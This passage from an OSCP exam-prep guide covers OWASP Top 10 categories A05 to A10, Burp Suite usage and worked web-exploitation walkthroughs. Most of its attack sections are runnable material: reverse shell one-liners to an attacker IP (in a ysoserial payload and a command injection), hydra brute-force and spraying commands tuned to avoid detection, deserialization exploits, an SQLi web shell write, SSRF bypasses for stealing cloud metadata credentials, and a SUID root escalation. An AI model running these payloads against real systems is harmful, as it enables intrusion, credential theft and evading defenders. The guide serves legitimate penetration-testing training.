cloudbrute -m aws -d target.com

# Using s3scanner
python3 s3scanner.py -u https://s3.amazonaws.com/target-bucket/

# Azure blob enumeration
# Check common blob URLs
curl https://target.blob.core.windows.net/container/

# Google Cloud Storage
curl https://storage.googleapis.com/target-bucket/

6.6 Common Misconfigurations in OSCP Labs

Target Misconfiguration Exploitation
Web servers Directory listing enabled Browse directories → find sensitive files
Databases Default credentials phpMyAdmin root:blank → SQL access
Services Unpatched software searchsploit → exploit known CVE
Cloud Exposed management interfaces Direct admin access
APIs Missing authentication Access internal endpoints
Debug endpoints Left enabled in production /debug, /trace, /actuator

7. A06: Vulnerable and Outdated Components

Risk Level: High (A06 — #6 in 2021)

Using components with known vulnerabilities is one of the easiest ways to compromise an application.

7.1 Known CVE Exploitation

Exploitation Workflow

Step 1: Identify the component and version
├── Check HTTP headers (Server, X-Powered-By)
├── Look at login pages, error pages
├── Check JavaScript files for framework versions
├── View page source for version indicators
└── Use Wappalyzer or builtwith

Step 2: Search for known vulnerabilities
├── searchsploit <component> <version>
├── https://www.exploit-db.com
├── https://nvd.nist.gov
├── https://cve.mitre.org
└── GitHub advisories

Step 3: Assess exploitability
├── Does the exploit match the exact version?
├── Are there prerequisites?
├── Is authentication required?
├── What is the impact?
└── Has the exploit been tested/confirmed?

Step 4: Exploit
├── Adapt the exploit to the target
├── Test in a safe manner
├── Verify successful exploitation
└── Document the finding

7.2 Dependency Analysis

Tools for Dependency Analysis

# npm dependencies
npm audit
npm ls --depth=0

# Python dependencies
pip audit
pip list --outdated

# Java dependencies
mvn dependency:tree
OWASP Dependency-Check

# General
snyk test
trivy image <image-name>
grype <image-name>

Common Vulnerable Components

Component Common Vulnerabilities
Log4j Log4Shell (CVE-2021-44228) — RCE via JNDI
Apache Struts Multiple RCE vulnerabilities
Apache Solr RCE, SSRF, authentication bypass
Apache Tomcat Authentication bypass, RCE
Spring Framework Spring4Shell, Spring Actuator RCE
jQuery XSS vulnerabilities in older versions
AngularJS XSS, prototype pollution
Express.js Various middleware vulnerabilities
Django SQL injection, XSS in older versions
WordPress plugins Thousands of known vulnerabilities

7.3 Version Detection Techniques

# HTTP headers
curl -I https://target.com
# Look for: Server, X-Powered-By, X-AspNet-Version

# Page source analysis
curl https://target.com | grep -i "version\|v="
# Look for: /js/framework.js?v=1.2.3

# robots.txt
curl https://target.com/robots.txt

# sitemap.xml
curl https://target.com/sitemap.xml

# API endpoints
curl https://target.com/api/version
curl https://target.com/api/health

# Using whatweb
whatweb https://target.com

# Using Wappalyzer (browser extension)
# Install in browser and visit the target

# Using builtwith
builtwith https://target.com

7.4 Using searchsploit and ExploitDB

# Basic search
searchsploit Apache Tomcat 9.0

# Search with version
searchsploit -m exploits/path/to/exploit.py

# Copy exploit to current directory
searchsploit -m 49705.py

# Search online
searchsploit --nmap "<nmap output>"

# Using the ExploitDB website
# https://www.exploit-db.com
# Search by: application, platform, type, date

# Using GitHub
# Search: "exploit" "CVE-2024-XXXX"
# Search: "poc" "Apache Struts"

# Using GitHub Dorks
site:github.com "exploit" "Apache Tomcat"
site:github.com "poc" "Spring4Shell"

8. A07: Identification and Authentication Failures

Risk Level: High (A07 — #7 in 2021)

Authentication failures occur when identity verification mechanisms are weak or bypassed.

8.1 Weak Password Policies

Common Weaknesses

Weakness Description Example
No minimum length Short passwords allowed “abc” accepted
No complexity requirements Simple passwords allowed “password123” accepted
No maximum attempts Unlimited login attempts Brute force possible
No account lockout No lockout after failures Credential stuffing possible
No password history Reuse of old passwords Same password recycled
No expiration Passwords never expire Stale credentials persist
Common passwords allowed Dictionary passwords accepted “admin”, “password”, “123456”

Testing Password Policies

1. Registration Testing
   - Try short passwords (1-3 chars)
   - Try simple passwords ("password", "123456")
   - Try common passwords ("admin", "letmein")
   - Try no special characters
   - Try no numbers
   - Try no uppercase

2. Password Reset Testing
   - Check for token predictability
   - Check for token expiration
   - Check for single-use enforcement
   - Check for email enumeration

3. Login Testing
   - Check for rate limiting
   - Check for account lockout
   - Check for CAPTCHA after failures
   - Check for proper error messages

8.2 Credential Stuffing

What is Credential Stuffing?

Using leaked username/password pairs from one breach to attempt access on other systems.

# Using hydra
hydra -L usernames.txt -P passwords.txt target.com http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials"

# Using curl in a loop
while IFS= read -r line; do
  user=$(echo "$line" | cut -d: -f1)
  pass=$(echo "$line" | cut -d: -f2)
  response=$(curl -s -c cookie.txt -d "username=$user&password=$pass" https://target.com/login)
  if echo "$response" | grep -q "welcome"; then
    echo "SUCCESS: $user:$pass"
  fi
done < credentials.txt

8.3 Session Fixation

What is Session Fixation?

An attacker sets a known session ID for a victim, then waits for the victim to authenticate. After authentication, the attacker uses the same session ID to access the victim’s account.

Attack Flow

Step 1: Attacker obtains a valid session ID
   - Visit target.com → receive SessionID=abc123
   - Or craft a link: target.com?JSESSIONID=abc123

Step 2: Attacker sends the session ID to the victim
   - Email: "Check out this link: target.com?JSESSIONID=abc123"
   - Social engineering the victim to click

Step 3: Victim clicks the link and logs in
   - Victim's browser now uses SessionID=abc123
   - After login, the session is authenticated

Step 4: Attacker uses the same session ID
   - Set cookie: SessionID=abc123
   - Access victim's authenticated resources

Prevention

- Regenerate session ID after authentication
- Invalidate old session IDs
- Use secure, HttpOnly, SameSite cookies
- Implement session timeout

8.4 Insecure Session Management

Common Issues

Issue Description Risk
Predictable session IDs Sequential or time-based IDs Session prediction
Session ID in URL Visible in logs, bookmarks, referrer Session hijacking
No session timeout Sessions never expire Stale session abuse
No logout invalidation Session remains valid after logout Session reuse
Missing Secure flag Session sent over HTTP MITM interception
Missing HttpOnly flag JavaScript can access cookie XSS → session theft
Missing SameSite flag Cross-site request possible CSRF attacks

Testing Session Security

# Check cookie flags
curl -I -c - https://target.com/login
# Look for: Set-Cookie: sessionid=xxx; Path=/; Secure; HttpOnly; SameSite=Strict

# Test session persistence after logout
# 1. Log in, capture session cookie
# 2. Log out
# 3. Use the same cookie → should be rejected

# Test session timeout
# 1. Log in
# 2. Wait for timeout period
# 3. Use the session → should be rejected

# Test session regeneration after login
# 1. Capture pre-login session ID
# 2. Log in
# 3. Check if session ID changed → should be different

8.5 Brute Force Attacks (hydra)

hydra Deep Dive

# Basic syntax
hydra [-l LOGIN|-L FILE] [-p PASS|-P FILE] [SERVICE] [TARGET] [OPTIONS]

# HTTP POST form login
hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-post-form "/login.php:username=^USER^&password=^PASS^:F=Invalid"

# HTTP GET form login
hydra -l admin -P wordlist.txt target.com http-get-form "/login.php?user=^USER^&pass=^PASS^:F=Wrong"

# HTTPS
hydra -l admin -P wordlist.txt target.com https-post-form "/login:username=^USER^&password=^PASS^:F=Failed"

# With proxy
hydra -l admin -P wordlist.txt -o results.txt target.com http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid" -S -s 443

# Common options:
-vV          Verbose output
-f           Stop on first valid credential
-t TASKS     Number of parallel tasks (default 16)
-w TIME      Wait time between attempts in seconds
-o FILE      Output file
-M FILE      Multiple targets (one per line)
-s PORT      Non-default port
-V           Show all login attempts

Custom Brute Force with Burp Suite

1. Capture the login request in Burp Proxy
2. Send to Intruder
3. Configure attack:
   - Attack type: Pitchfork (for username + password)
   - Position: Mark username and password fields
   - Payloads:
     Set 1: usernames.txt
     Set 2: passwords.txt
4. Options:
   - Grep - Extract: Response length
   - Grep - Match: "welcome", "dashboard", "Invalid"
5. Start attack and analyze results

8.6 Password Spraying

What is Password Spraying?

Instead of trying many passwords against one account (brute force), try ONE common password against MANY accounts. This avoids account lockout.

# Using hydra for password spraying
hydra -L usernames.txt -p "Password123!" target.com http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid" -t 5

# Using custom script
for user in $(cat usernames.txt); do
  curl -s -d "username=$user&password=Password123!" https://target.com/login | grep -q "welcome" && echo "FOUND: $user"
  sleep 2  # Rate limiting to avoid detection
done

9. A08: Software and Data Integrity Failures

Risk Level: High (A08 — #8 in 2021)

Integrity failures occur when code and updates are not properly verified, allowing attackers to modify software supply chains or exploit insecure deserialization.

9.1 Insecure Deserialization

What is Deserialization?

Deserialization is the process of converting a byte stream back into an object. If an attacker can control the serialized data, they can potentially execute arbitrary code.

Java Deserialization

// Vulnerable code:
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();  // Attacker controls this!

// Common gadget chains:
- CommonsCollections (multiple variants)
- Spring Framework
- Apache Commons Text
- Groovy

// Using ysoserial:
java -jar ysoserial.jar CommonsCollections5 "bash -c 'bash -i >& /dev/tcp/10.10.14.3/9001 0>&1'" > payload.bin

# Send payload.bin as the serialized input

PHP Deserialization

// Vulnerable code:
$object = unserialize($_COOKIE['session']);

// PHP Object Injection:
class Payload {
    public $cmd = "id";
    public function __wakeup() {
        system($this->cmd);
    }
}

$payload = serialize(new Payload());
// Send as cookie: session=O:6:"Payload":1:{s:3:"cmd";s:2:"id";}

// Magic methods to exploit:
__wakeup()     - Called when object is unserialized
__destruct()   - Called when object is destroyed
__toString()   - Called when object is converted to string
__sleep()      - Called before serialization
__autoload()   - Called when class is not found

Python Deserialization (pickle)

# Vulnerable code:
import pickle
data = pickle.loads(user_input)  # DANGEROUS!

# Exploit:
import pickle
import os

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('id',))

payload = pickle.dumps(Exploit())
# Send payload as input

.NET Deserialization

// Vulnerable code:
var formatter = new BinaryFormatter();
formatter.Deserialize(inputStream);

// Using ysoserial.net:
ysoserial.exe -o raw -g TypeConfuseDelegate -f BinaryFormatter -c "whoami"

Detecting Deserialization Vulnerabilities

Indicators:
├── Base64-encoded parameters in requests
├── Parameters named: session, viewState, obj, data, payload
├── Java: java.io.Serializable in stack traces
├── PHP: O:N: pattern in cookies/parameters
├── .NET: /w/ or AAEA in parameters (BinaryFormatter)
├── Python: pickle protocol markers (\x80\x04\x95)
└── Unexpected exceptions related to class loading

Testing:
1. Identify serialized data in requests
2. Decode and analyze the structure
3. Try to modify the serialized object
4. Look for gadget chains in the application's dependencies
5. Use tools: ysoserial, phpggc, pydeserializationdumper

9.2 CI/CD Pipeline Attacks

Attack Vectors

1. Compromised Build Scripts
   - Inject malicious code into build scripts
   - Modify CI/CD configuration files

2. Supply Chain Attacks
   - Compromise dependencies
   - Inject malware into build artifacts

3. Credential Theft
   - Steal API tokens from CI/CD environment
   - Access deployment credentials

4. Artifact Tampering
   - Modify compiled binaries
   - Replace legitimate artifacts with malicious ones

9.3 Code Signing Bypass

Common Bypass Techniques

1. Certificate Theft
   - Steal signing certificates from developers
   - Sign malicious code with legitimate certificates

2. Certificate Weakness
   - Exploit weak hashing algorithms (MD5, SHA-1)
   - Create certificate collisions

3. Signature Verification Bypass
   - Exploit flaws in verification logic
   - Truncate or modify signed data

4. Unsigned Code Execution
   - Find paths that don't require signed code
   - Exploit plugin/extension loading

9.4 How Deserialization Appears in OSCP

Common OSCP Patterns:

1. Java Web Applications
   - Look for Java serialization in HTTP parameters
   - Check for CommonsCollections dependencies
   - Use ysoserial to generate payloads

2. PHP Applications
   - Look for unserialize() in source code
   - Check cookies and POST parameters for serialized data
   - Create PHP object injection payloads

3. API Endpoints
   - Check for binary data parameters
   - Look for base64-encoded objects
   - Test with crafted serialized payloads

4. File Upload Handlers
   - Some upload handlers deserialize uploaded data
   - Check for pickle, YAML, or JSON deserialization

10. A09: Security Logging and Monitoring Failures

Risk Level: Medium (A09 — #9 in 2021)

When attacks and security incidents are not adequately logged, detected, or acted upon, attackers can operate undetected.

10.1 Insufficient Logging

What Should Be Logged

Event Why Log It
Authentication attempts (success/failure) Detect brute force, credential stuffing
Authorization failures Detect access control bypass attempts
Input validation failures Detect injection attempts
Account changes Detect unauthorized modifications
Privilege changes Detect privilege escalation
File access/modification Detect data exfiltration
Configuration changes Detect system tampering
Session creation/destruction Detect session hijacking

Testing for Logging Gaps

1. Perform various attacks
   - Failed login attempts
   - SQL injection attempts
   - Directory traversal attempts
   - Access control bypass attempts

2. Check if attacks are logged
   - Look for log files on the system
   - Check web server access logs
   - Check application logs
   - Check authentication logs

3. Assess log quality
   - Are timestamps present?
   - Is the source IP recorded?
   - Is the attack payload recorded?
   - Is the user identity recorded?

10.2 Log Tampering

Attack Vectors

1. Log Injection
   - Inject CRLF to create fake log entries
   - Example: Username: "admin\r\n192.168.1.1 - - [01/Jan/2024] \"GET / HTTP/1.1\" 200"

2. Log Overwrite
   - If log files are writable by the web application
   - Overwrite logs to hide attack traces

3. Log Deletion
   - Delete log files after exploitation
   - Requires file system access

4. Log Volume Attack
   - Generate massive log volume to hide real attacks
   - "Hide in the noise" technique

10.3 Why This Matters for Persistence

For OSCP:
- If logging is insufficient, you can operate more freely
- You can reuse compromised accounts without detection
- You can establish persistence mechanisms
- You can move laterally without triggering alerts

For the Report:
- Note the lack of logging as a finding
- Explain how it enables undetected attacks
- Recommend proper logging implementation

11. A10: Server-Side Request Forgery (SSRF)

Risk Level: Medium (A10 — #10 in 2021)

SSRF occurs when a server fetches a URL without validating the user-supplied address, allowing an attacker to force the server to make requests to unintended destinations.

11.1 Internal Network Access from SSRF

What is SSRF?

The application acts as a proxy, fetching resources from URLs specified by the user. If not validated, the attacker can make the server request internal resources.

Normal usage:
GET /fetch?url=https://www.example.com/image.jpg

Attacker usage:
GET /fetch?url=http://169.254.169.254/latest/meta-data/

The server fetches the URL and returns the response to the attacker.

Internal Targets

Local Services:
├── http://localhost:8080/admin
├── http://127.0.0.1:3306/          (MySQL)
├── http://127.0.0.1:6379/          (Redis)
├── http://127.0.0.1:27017/         (MongoDB)
├── http://127.0.0.1:9200/          (Elasticsearch)
├── http://127.0.0.1:8500/          (Consul)
├── http://127.0.0.1:2375/          (Docker API)
└── http://127.0.0.1:5000/          (Flask dev server)

Internal Network:
├── http://10.0.0.1/
├── http://10.0.0.0/16/             (entire subnet)
├── http://172.16.0.1/
├── http://192.168.1.1/
└── http://internal-server.local/

Metadata Services:
├── http://169.254.169.254/         (AWS, GCP)
├── http://metadata.google.internal/ (GCP)
└── http://169.254.169.254/metadata/ (Azure)

11.2 Cloud Metadata Access

AWS Metadata Service

# IMDSv1 (vulnerable)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>/

# IMDSv2 (requires token)
PUT /latest/api/token
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600

# Then use the token:
GET /latest/meta-data/
Host: 169.254.169.254
X-aws-ec2-metadata-token: <token>

# SSRF payload for AWS:
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

Azure Metadata Service

http://169.254.169.254/metadata/instance?api-version=2021-01-01
http://169.254.169.254/metadata/instance/compute?api-version=2021-01-01&format=text
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/privateIpAddress?api-version=2021-01-01&format=text

# Requires header:
Metadata: true

GCP Metadata Service

http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/
http://metadata.google.internal/computeMetadata/v1/project/

# Requires header:
Metadata-Flavor: Google

11.3 SSRF Bypass Techniques

URL Scheme Bypasses

# If http:// is blocked:
gopher://127.0.0.1:6379/_INFO
dict://127.0.0.1:11211/
file:///etc/passwd
ldap://127.0.0.1:389/
tftp://127.0.0.1/evil

IP Address Format Bypasses

# Decimal IP
http://2130706433/    = http://127.0.0.1/

# Octal IP
http://0177.0.0.1/

# Hexadecimal IP
http://0x7F.0x0.0x0.0x1/

# IPv6-mapped IPv4
http://[::ffff:127.0.0.1]/

# Compressed IPv6
http://[::1]/

# Mixed notation
http://[::127.0.0.1]/

# DNS rebinding
http://attacker.com/   → resolves to 127.0.0.1 (changes after initial check)

Encoding Bypasses

# URL encoding
http://%77%77%77%2e%67%6f%6f%67%6c%65%2e%63%6f%6d/

# Double URL encoding
http://%2577%2577%2577%252e%2567%256f%256f%2567%256c%2565%252e%2563%256f%256d/

# Unicode
http://\x77\x77\x77\x2e\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d/

# Null byte injection
http://127.0.0.1%00.attacker.com/

# Whitespace
http://127.0.0.1 /
http://  127.0.0.1/

Redirect Bypasses

# Use an external redirect service
http://attacker.com/redirect?url=http://127.0.0.1/admin

# Google redirect
https://www.google.com/search?q=site:127.0.0.1

# 302 redirect from attacker-controlled server
# Server returns: HTTP/1.1 302 Found
# Location: http://127.0.0.1/admin

11.4 Testing Methodology

Step 1: Identify SSRF Points
├── URL parameters (?url=, ?link=, ?src=, ?image=)
├── POST body fields
├── XML/JSON data
├── File upload URLs
├── Webhook configurations
├── Email templates with URL fetching
└── API integration endpoints

Step 2: Test Basic SSRF
├── http://127.0.0.1/
├── http://localhost/
├── http://169.254.169.254/
└── http://<internal-ip>/

Step 3: Test Bypass Techniques
├── Different URL schemes
├── IP format variations
├── Encoding techniques
├── Redirect chains
└── DNS rebinding

Step 4: Enumerate Internal Services
├── Port scanning via SSRF
├── Service identification
├── Credential harvesting
└── Data exfiltration

Step 5: Exploit Findings
├── Access cloud metadata
├── Connect to internal databases
├── Access admin interfaces
└── Pivot to other systems

SSRF Port Scanning

# Python script for SSRF-based port scanning
import requests

target = "http://vulnerable-app.com/fetch?url="
internal_ip = "10.0.0.1"

for port in range(1, 1024):
    url = f"{target}http://{internal_ip}:{port}/"
    try:
        resp = requests.get(url, timeout=3)
        if "Connection refused" not in resp.text:
            print(f"Port {port} is OPEN")
    except requests.exceptions.Timeout:
        print(f"Port {port} might be OPEN (timeout)")
    except:
        pass  # Port closed

12. Burp Suite Deep Dive

Burp Suite is the most important tool for web application testing in OSCP. Mastering it is essential.

12.1 Proxy Configuration

Browser Proxy Setup

Burp Proxy Settings:
1. Open Burp Suite → Proxy → Options
2. Proxy Listeners:
   - Bind to: 127.0.0.1
   - Port: 8080
   - Enable HTTP/2: Yes

Browser Configuration (Firefox recommended):
1. Settings → Network Settings
2. Manual proxy configuration:
   - HTTP Proxy: 127.0.0.1
   - Port: 8080
3. Check "Proxy DNS when using HTTP Proxy"

CA Certificate Installation:
1. Browse to http://burp in the configured browser
2. Download CA Certificate
3. Import into browser's certificate store
4. Trust for website identification

For Chrome/Chromium:
1. Launch with proxy:
   chrome --proxy-server="127.0.0.1:8080"
2. Import CA cert into OS certificate store

Intercept Rules

Proxy → Options → Match and Replace:
- Add rules to modify requests/responses automatically
- Example: Always add X-Forwarded-For header
- Example: Remove specific headers

Proxy → Options → Request Handling:
- Support invisible proxying
- Hide Burp headers
- Remove cache-control headers

12.2 Repeater Usage

Workflow

1. Capture request in Proxy
2. Right-click → Send to Repeater (or Ctrl+R)
3. Open Repeater tab
4. Modify the request:
   - Change URL path
   - Modify headers
   - Alter body content
   - Change HTTP method
5. Click "Send"
6. Analyze the response

Pro Tips:
- Use Compare with (right-click response) to diff responses
- Use the "Request" and "Response" split view
- Save frequent requests as groups
- Use the "Engagement tools" for structure discovery

Common Repeater Tasks

Task 1: SQL Injection Testing
Original:  GET /page?id=1
Modified:  GET /page?id=1'
Modified:  GET /page?id=1' UNION SELECT 1,2,3--

Task 2: IDOR Testing
Original:  GET /api/users/1001
Modified:  GET /api/users/1000
Modified:  GET /api/users/1002

Task 3: Authentication Bypass
Original:  POST /login
          {"username":"admin","password":"test"}
Modified:  POST /login
          {"username":"admin' OR '1'='1','password":"x"}

Task 4: Command Injection
Original:  GET /ping?ip=127.0.0.1
Modified:  GET /ping?ip=127.0.0.1;id
Modified:  GET /ping?ip=127.0.0.1;cat /etc/passwd

12.3 Intruder Attacks

Attack Types

Type Description Use Case
Sniper One payload set, fires at one position at a time Single parameter testing, SQLi, IDOR
Battering Ram One payload set, fires at multiple positions simultaneously Same value in multiple fields
Pitchfork Multiple payload sets, fires in parallel Username + password combos (paired)
Cluster Bomb Multiple payload sets, tries all combinations Brute force all username/password combos

Sniper Attack (Most Common)

Setup:
1. Send request to Intruder
2. Attack type: Sniper
3. Positions: Mark the parameter to test (e.g., id=§1§)
4. Payloads:
   - Payload type: Numbers
   - From: 1, To: 1000, Step: 1
   - OR: Payload type: Simple list (custom values)
5. Options:
   - Grep - Match: Add strings to look for in response
   - Grep - Extract: Extract values from response
   - Grep - Status code: Highlight specific status codes
6. Start attack
7. Sort by: Length, Status code, or Grep matches

Example: IDOR Enumeration
Positions: /api/users/§1001§
Payloads: 1-1000
Sort by: Length (different length = different user data)

Cluster Bomb (Brute Force)

Setup:
1. Send login request to Intruder
2. Attack type: Cluster Bomb
3. Positions:
   §admin§ → Position 1 (username)
   §password§ → Position 2 (password)
4. Payloads:
   Payload Set 1: usernames.txt
   Payload Set 2: /usr/share/wordlists/rockyou.txt (top 1000)
5. Options:
   - Grep - Match: "welcome", "dashboard", "Invalid"
   - Limit to 1000 requests
6. Start attack
7. Sort by: Grep match (no match = likely success)

Advanced Intruder Techniques

Payload Processing:
- URL-encode
- Base64-encode
- MD5-hash
- SHA1-hash
- Add prefix/suffix
- Convert case

Request Encoding:
- URL-encode all
- URL-encode form data
- GZIP request body

Throttling:
- Delay between requests (avoid rate limiting)
- Stop after first match

Reporting:
- Export results to CSV
- Filter by status code
- Sort by response length

12.4 Decoder and Comparer

Decoder

Functions:
├── URL encoding/decoding
├── Base64 encoding/decoding
├── Hex encoding/decoding
├── HTML entity encoding/decoding
├── JWT decoding
├── Custom encoding chains
└── Bulk processing

Common Uses:
1. Decode Base64-encoded parameters
2. URL-decode obfuscated paths
3. Decode JWT tokens for analysis
4. Encode payloads for injection testing

Comparer

Functions:
├── Binary comparison of two responses
├── Text comparison with highlighting
├── Side-by-side diff view
└── Quick identification of differences

Common Uses:
1. Compare responses for different IDs (IDOR detection)
2. Compare authenticated vs unauthenticated responses
3. Compare responses before/after modification
4. Identify subtle differences in error messages

12.5 Burp Extensions Useful for OSCP

Extension Purpose
Autorize Test for broken access control automatically
AuthMatrix Multi-user authorization testing
Hackertarget Tools IP tools, subdomain enumeration
Param Miner Discover hidden parameters
ActiveScan++ Enhanced active scanning
Forcer Force different HTTP methods
HTTP Request Smuggler Test for HTTP request smuggling
JSensec JavaScript security analysis
Exfilrator Data exfiltration testing
Collaborator Client Out-of-band interaction testing (Pro)

Installing Extensions

1. Burp → Extender → Extensions
2. Add → Select type (Java, Python, Ruby, BApp)
3. For BApp Store extensions:
   - Open BApp Store tab
   - Search for extension
   - Click Install

13. OSCP Exam Relevance

Which OWASP Categories Appear Most in OSCP?

Rank OWASP Category OSCP Frequency Typical Machines
1 A03: Injection Very High SQLi, Command Injection, XXE
2 A01: Broken Access Control Very High IDOR, privilege escalation
3 A05: Security Misconfiguration High Default creds, debug pages
4 A07: Authentication Failures High Brute force, weak passwords
5 A06: Vulnerable Components High CVE exploitation
6 A02: Cryptographic Failures Medium Weak hashing, hardcoded creds
7 A10: SSRF Medium Internal network access
8 A08: Integrity Failures Low-Medium Deserialization
9 A04: Insecure Design Medium Business logic flaws
10 A09: Logging Failures Low Information gathering

Web Application Challenges in OSCP

Common Web Attack Paths

Path 1: SQL Injection → Credential Extraction → SSH Login
1. Find SQLi in login page
2. Extract admin credentials from database
3. SSH into the machine with extracted credentials
4. Privilege escalation

Path 2: Command Injection → Reverse Shell → Privilege Escalation
1. Find command injection in a parameter
2. Get reverse shell as www-data
3. Find SUID binary or misconfigured sudo
4. Escalate to root

Path 3: Default Credentials → Admin Panel → File Upload → Shell
1. Find admin panel with default credentials
2. Upload PHP web shell
3. Get shell as www-data
4. Privilege escalation

Path 4: IDOR → Admin Account → API Access → Data Exfiltration
1. Find IDOR in user API
2. Enumerate users, find admin
3. Escalate own account to admin
4. Access sensitive data or admin functions

Path 5: Misconfiguration → Source Code Access → Credential Discovery
1. Find .git directory or backup files
2. Extract source code
3. Find hardcoded credentials
4. Authenticate and exploit

Time Management for Web Testing

Recommended Time Allocation (for a web target):

Phase 1: Reconnaissance (15-20 minutes)
├── Directory enumeration (gobuster/ffuf)
├── Technology identification
├── Subdomain enumeration
└── Port scanning for web services

Phase 2: Manual Testing (30-45 minutes)
├── Browse the application thoroughly
├── Test all input fields
├── Test authentication mechanisms
├── Check for default credentials
└── Look for misconfigurations

Phase 3: Automated Testing (15-20 minutes)
├── sqlmap for SQLi confirmation
├── Burp Scanner (if available)
├── nikto for misconfigurations
└── searchsploit for known CVEs

Phase 4: Exploitation (20-30 minutes)
├── Exploit confirmed vulnerabilities
├── Get initial access
├── Stabilize the shell
└── Begin privilege escalation

Total: ~80-115 minutes per web target

IMPORTANT: If stuck for >30 minutes on a web target, move on and come back later.

14. Practical Examples

14.1 SQL Injection Walkthrough with Burp Suite

Scenario: DVWA-style Login Page

Step 1: Initial Reconnaissance
─────────────────────────────
Browse to: http://target.com/login.php
Try normal login: admin / password → "Invalid credentials"

Step 2: Test for SQLi
─────────────────────
Username: admin'
Result: "You have an error in your SQL syntax..."
→ SQL Injection confirmed!

Step 3: Determine Query Structure
────────────────────────────────
Username: admin' --
Result: Login successful (or different error)
→ Comment works, query structure identified

Step 4: Authentication Bypass
────────────────────────────
Username: admin' OR '1'='1' --
Password: (anything)
Result: Logged in as admin!

Step 5: Extract Database Information (via Union-based)
─────────────────────────────────────────────────────
Send the vulnerable request to Burp Repeater:

GET /search.php?q=test HTTP/1.1
Host: target.com
Cookie: PHPSESSID=abc123

Modify to:
GET /search.php?q=' UNION SELECT 1,2,3-- HTTP/1.1
→ Columns 2 and 3 display in the page

GET /search.php?q=' UNION SELECT 1,version(),database()--
→ Returns: MySQL 5.7.32, database: webapp

GET /search.php?q=' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema='webapp'--
→ Returns: users, products, orders

GET /search.php?q=' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--
→ Returns: id, username, password, email

Step 6: Extract Credentials
───────────────────────────
GET /search.php?q=' UNION SELECT 1,username,password FROM users--
→ Returns: admin:$2y$10$HASHVALUEHERE

Step 7: Crack the Hash
──────────────────────
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
→ Cracked: admin:SuperSecret123!

Step 8: Alternative - Direct Shell via SQLi
───────────────────────────────────────────
If MySQL allows file write:
GET /search.php?q=' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'--

Access: http://target.com/shell.php?cmd=id
→ Get OS command execution

14.2 IDOR Exploitation Example

Scenario: User Management Portal

Step 1: Normal Usage
───────────────────
Log in as: user1 / password1
Navigate to: /profile
Request captured in Burp:

GET /api/v1/users/1001/profile HTTP/1.1
Host: target.com
Cookie: session=abc123
Accept: application/json

Response:
{
  "id": 1001,
  "username": "user1",
  "email": "user1@target.com",
  "role": "user"
}

Step 2: Test IDOR
────────────────
Send to Repeater, change ID:

GET /api/v1/users/1000/profile HTTP/1.1
Host: target.com
Cookie: session=abc123

Response:
{
  "id": 1000,
  "username": "admin",
  "email": "admin@target.com",
  "role": "administrator"
}
→ IDOR CONFIRMED! We can access other users' data.

Step 3: Enumerate Users
───────────────────────
Send to Intruder (Sniper mode):
GET /api/v1/users/§1001§/profile HTTP/1.1

Payloads: 1-5000
Sort by: Response length

Results show valid users at IDs: 1000, 1001, 1002, 1003, 1005

Step 4: Escalate Privileges
───────────────────────────
Try to modify own role:

PUT /api/v1/users/1001/profile HTTP/1.1
Host: target.com
Cookie: session=abc123
Content-Type: application/json

{"role": "administrator"}

Response: 200 OK
{"id": 1001, "username": "user1", "role": "administrator"}
→ PRIVILEGE ESCALATION SUCCESSFUL!

Step 5: Access Admin Functions
──────────────────────────────
Now with admin role:
GET /admin/dashboard
→ Access granted to admin panel
→ Upload shell → reverse shell → root

14.3 Command Injection Example

Scenario: Network Diagnostic Tool

Step 1: Identify the Vulnerability
───────────────────────────────────
Page: /tools/ping
Input field: IP Address

Normal request:
POST /tools/ping HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

ip=127.0.0.1

Response shows ping results for 127.0.0.1

Step 2: Test for Command Injection
──────────────────────────────────
ip=127.0.0.1;id

Response includes:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ Command injection confirmed!

Step 3: Information Gathering
────────────────────────────
ip=127.0.0.1;whoami
→ www-data

ip=127.0.0.1;uname -a
→ Linux target 5.4.0-42-generic #46-Ubuntu SMP

ip=127.0.0.1;cat /etc/passwd
→ User list retrieved

ip=127.0.0.1;find / -perm -4000 -type f 2>/dev/null
→ SUID binaries found: /usr/bin/find, /usr/bin/python3.8

Step 4: Get Reverse Shell
─────────────────────────
Set up listener:
nc -lvnp 9001

Inject payload:
ip=127.0.0.1;bash -c 'bash -i >& /dev/tcp/10.10.14.3/9001 0>&1'

Received reverse shell as www-data!

Step 5: Stabilize and Upgrade
─────────────────────────────
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg
export TERM=xterm-256color

Step 6: Privilege Escalation
────────────────────────────
# Exploit SUID Python
python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
→ Root shell obtained!

14.4 SSRF Exploitation Example

Scenario: URL Preview Service

Step 1: Identify the SSRF Point
───────────────────────────────
Feature: "Share a link" functionality
Request:

POST /api/preview HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=abc123

{"url": "https://www.example.com"}

Response:
{"title": "Example Domain", "description": "...", "image": "..."}

Step 2: Test for SSRF
─────────────────────
{"url": "http://127.0.0.1:80"}
→ Response shows local server content → SSRF confirmed!

Step 3: Enumerate Internal Services
───────────────────────────────────
{"url": "http://127.0.0.1:3306/"}
→ MySQL banner received

{"url": "http://127.0.0.1:6379/"}
→ Redis response received

{"url": "http://127.0.0.1:8080/"}
→ Internal admin panel discovered

